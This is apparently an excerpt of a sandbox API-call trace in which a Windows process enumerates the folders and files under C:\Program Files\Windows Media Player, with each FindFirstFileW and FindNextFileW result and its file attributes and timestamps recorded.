	[0157.899] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0157.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.899] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Icons") returned 43
	[0157.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0157.899] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.899] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0157.899] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0157.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.973] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d32880, ftCreationTime.dwHighDateTime=0x1d4e46e, ftLastAccessTime.dwLowDateTime=0x7e924ac0, ftLastAccessTime.dwHighDateTime=0x1d48425, ftLastWriteTime.dwLowDateTime=0x7e924ac0, ftLastWriteTime.dwHighDateTime=0x1d48425, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="measures-provision.exe", cAlternateFileName="MEASUR~1.EXE")) returned 1
	[0157.973] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0157.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.974] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52
	[0157.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DMR_48.png", cAlternateFileName="")) returned 1
	[0158.427] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1
	[0158.428] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1
	[0158.428] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x166b6300, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0
	[0158.428] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0158.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.428] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0158.428] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0158.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.429] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53
	[0158.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c5441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1287, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ea5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x2438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1
	[0158.430] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1
	[0158.431] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1
	[0158.431] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0
	[0158.431] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.432] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0158.432] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0158.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.432] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Skins") returned 43
	[0158.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.432] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c66b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.432] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 1
	[0158.432] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8035d00, ftLastWriteTime.dwHighDateTime=0x1d29f92, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Revert.wmz", cAlternateFileName="")) returned 0
	[0158.432] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.432] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0158.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.434] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52
	[0158.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.434] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.434] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0158.434] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0158.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
